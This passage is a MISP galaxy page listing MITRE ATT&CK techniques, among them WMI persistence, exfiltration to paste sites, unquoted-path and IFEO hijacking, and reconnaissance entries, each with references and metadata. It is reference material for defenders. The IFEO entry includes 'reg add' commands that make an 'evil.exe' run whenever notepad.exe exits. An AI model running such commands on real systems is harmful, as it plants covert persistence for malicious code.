- https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf - webarchive
- https://www.secureworks.com/blog/wmi-persistence - webarchive
- https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.003 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Process: Process Creation', 'WMI: WMI Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Exfiltration to Text Storage Sites - T1567.003
Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information.
Text storage sites are often used to host malicious code for C2 communication (e.g., Stage Capabilities), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)
Note: This is distinct from Exfiltration to Code Repository, which highlight access to code repositories via APIs.
Internal MISP references
UUID ba04e672-da86-4e69-aa15-0eca5db25f43 which can be used as unique global reference for Exfiltration to Text Storage Sites - T1567.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1567.003 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Executable Installer File Permissions Weakness - T1574.005
Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking.
Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
Internal MISP references
UUID 70d81154-b187-45f9-8ec5-295d01255979 which can be used as unique global reference for Executable Installer File Permissions Weakness - T1574.005 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.005 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Service: Service Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
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Path Interception by Unquoted Path - T1574.009
Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.
Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)
This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
Internal MISP references
UUID bf96a5a3-3bce-43b7-8597-88545984c07b which can be used as unique global reference for Path Interception by Unquoted Path - T1574.009 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1574/009 - webarchive
- https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree - webarchive
- https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464 - webarchive
- https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/ - webarchive
- https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.009 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
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Image File Execution Options Injection - T1546.012
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
Internal MISP references
UUID 6d4a7fb3-5a24-42be-ae61-6728a2b581f6 which can be used as unique global reference for Image File Execution Options Injection - T1546.012 in MISP communities and other software using the MISP galaxy
External references
- http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ - webarchive
- https://attack.mitre.org/techniques/T1546/012 - webarchive
- https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ - webarchive
- https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview - webarchive
- https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit - webarchive
- https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
- https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml - webarchive
- https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.012 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
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Friend/Follow/Connect to targets of interest - T1344
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)
Internal MISP references
UUID 103d72e6-7e0d-4b3a-9373-c38567305c33 which can be used as unique global reference for Friend/Follow/Connect to targets of interest - T1344 in MISP communities and other software using the MISP galaxy
External references
- http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf - webarchive
- https://attack.mitre.org/techniques/T1344 - webarchive
- https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1344 |
| kill_chain | ['pre-attack:persona-development'] |
Related clusters
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Friend/Follow/Connect to targets of interest - T1364
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)
Internal MISP references
UUID eacd1efe-ee30-4b03-b58f-5b3b1adfe45d which can be used as unique global reference for Friend/Follow/Connect to targets of interest - T1364 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1364 |
| kill_chain | ['pre-attack:stage-capabilities'] |
Related clusters
To see the related clusters, click here.
Identify personnel with an authority/privilege - T1271
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)
Internal MISP references
UUID 762771c2-3675-4535-88e9-b1f891758974 which can be used as unique global reference for Identify personnel with an authority/privilege - T1271 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1271 |
| kill_chain | ['pre-attack:people-information-gathering'] |
Receive KITs/KIQs and determine requirements - T1239
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)
Internal MISP references
UUID acfcbe7a-4dbc-4471-be2b-134faf479e3e which can be used as unique global reference for Receive KITs/KIQs and determine requirements - T1239 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1239 |
| kill_chain | ['pre-attack:priority-definition-direction'] |
Identify job postings and needs/gaps - T1248
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)
Internal MISP references
UUID c721b235-679a-4d76-9ae9-e08921fccf84 which can be used as unique global reference for Identify job postings and needs/gaps - T1248 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1248 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Related clusters
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Analyze hardware/software security defensive capabilities - T1294
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)
Internal MISP references
UUID a1e8d61b-22e1-4983-8485-96420152ecd8 which can be used as unique global reference for Analyze hardware/software security defensive capabilities - T1294 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1294 |
| kill_chain | ['pre-attack:technical-weakness-identification'] |
Discover target logon/email address format - T1255
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)
Internal MISP references
UUID ef0f816a-d561-4953-84c6-2a2936c96957 which can be used as unique global reference for Discover target logon/email address format - T1255 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1255 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Identify job postings and needs/gaps - T1267
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)
Internal MISP references
UUID 0722cd65-0c83-4c89-9502-539198467ab1 which can be used as unique global reference for Identify job postings and needs/gaps - T1267 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1267 |
| kill_chain | ['pre-attack:people-information-gathering'] |
Related clusters
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Identify job postings and needs/gaps - T1278
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)
Internal MISP references
UUID 7718e92f-b011-4f88-b822-ae245a1de407 which can be used as unique global reference for Identify job postings and needs/gaps - T1278 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1278 |
| kill_chain | ['pre-attack:organizational-information-gathering'] |
Related clusters
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Analyze organizational skillsets and deficiencies - T1300
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)
Internal MISP references
UUID 7baccb84-356c-4e89-8c5d-58e701f033fc which can be used as unique global reference for Analyze organizational skillsets and deficiencies - T1300 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1300 |
| kill_chain | ['pre-attack:organizational-weakness-identification'] |
Related clusters
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Exfiltration Over Other Network Medium - T1011
Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.
Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
Internal MISP references
UUID 51ea26b1-ff1e-4faa-b1a0-1114cd298c87 which can be used as unique global reference for Exfiltration Over Other Network Medium - T1011 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1011 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Network Traffic Capture or Redirection - T1410
An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.
A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.
Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.
An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.
If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.
Internal MISP references
UUID 3b0b604f-10db-41a0-b54c-493124d455b9 which can be used as unique global reference for Network Traffic Capture or Redirection - T1410 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1410 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection', 'mobile-attack-Android:credential-access', 'mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
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Determine 3rd party infrastructure services - T1260
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)
Internal MISP references
UUID 856a9371-4f0f-4ea9-946e-f3144204240f which can be used as unique global reference for Determine 3rd party infrastructure services - T1260 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1260 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Related clusters
To see the related clusters, click here.
Analyze presence of outsourced capabilities - T1303
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)
Internal MISP references
UUID 34450117-d1d5-417c-bb74-4359fc6551ca which can be used as unique global reference for Analyze presence of outsourced capabilities - T1303 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1303 |
| kill_chain | ['pre-attack:organizational-weakness-identification'] |
Boot or Logon Initialization Scripts - T1037
Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.
Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.
Internal MISP references
UUID 03259939-0b57-482f-8eb5-87c0e0d54334 which can be used as unique global reference for Boot or Logon Initialization Scripts - T1037 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1037 |
| kill_chain | ['attack-macOS:persistence', 'attack-Windows:persistence', 'attack-Linux:persistence', 'attack-Network:persistence', 'attack-macOS:privilege-escalation', 'attack-Windows:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-Network:privilege-escalation'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation'] |
| mitre_platforms | ['macOS', 'Windows', 'Linux', 'Network'] |
Data from Network Shared Drive - T1039
Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.
Internal MISP references
UUID ae676644-d2d2-41b7-af7e-9bed1b55898c which can be used as unique global reference for Data from Network Shared Drive - T1039 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1039 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Share: Network Share Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Download New Code at Runtime - T1407
Adversaries may download and execute dynamic code not included in the original application package after installation. This technique is primarily used to evade static analysis checks and pre-publication scans in official app stores. In some cases, more advanced dynamic or behavioral analysis techniques could detect this behavior. However, in conjunction with Execution Guardrails techniques, detecting malicious code downloaded after installation could be difficult.
On Android, dynamic code could include native code, Dalvik code, or JavaScript code that utilizes Android WebView’s JavascriptInterface capability.
On iOS, dynamic code could be downloaded and executed through 3rd party libraries such as JSPatch. (Citation: FireEye-JSPatch)
Internal MISP references
UUID 6c49d50f-494d-4150-b774-a655022d20a6 which can be used as unique global reference for Download New Code at Runtime - T1407 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1407 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Windows Management Instrumentation Event Subscription - T1084
Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)
Internal MISP references
UUID e906ae4d-1d3a-4675-be23-22f7311c0da4 which can be used as unique global reference for Windows Management Instrumentation Event Subscription - T1084 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1084 - webarchive
- https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf - webarchive
- https://www.secureworks.com/blog/wmi-persistence - webarchive
- https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1084 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
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Custom Command and Control Protocol - T1094
Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing Application Layer Protocol. Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.
Internal MISP references
UUID f72eb8a8-cd4c-461d-a814-3f862befbf00 which can be used as unique global reference for Custom Command and Control Protocol - T1094 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1094 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
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Trusted Developer Utilities Proxy Execution - T1127
Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.
Internal MISP references
UUID ff25900d-76d5-449b-a351-8824e62fc81b which can be used as unique global reference for Trusted Developer Utilities Proxy Execution - T1127 in MISP communities and other software using the MISP galaxy
External references
- http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html - webarchive
- https://attack.mitre.org/techniques/T1127 - webarchive
- https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ - webarchive
- https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ - webarchive
- https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1127 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
App Delivered via Web Download - T1431
The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).
Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.
Platforms: Android, iOS
Internal MISP references
UUID 6b846ad0-cc20-4db6-aa34-91561397c5e2 which can be used as unique global reference for App Delivered via Web Download - T1431 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1431 |
Related clusters
To see the related clusters, click here.
Image File Execution Options Injection - T1183
Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where
IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
Similar to Process Injection, these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.
Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
Internal MISP references
UUID 62166220-e498-410f-a90a-19d4339d4e99 which can be used as unique global reference for Image File Execution Options Injection - T1183 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1183 - webarchive
- https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ - webarchive
- https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview - webarchive
- https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit - webarchive
- https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
- https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml - webarchive
- https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1183 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence', 'attack-Windows:defense-evasion'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
SIP and Trust Provider Hijacking - T1198
In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)
Similar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)
- Modifying the
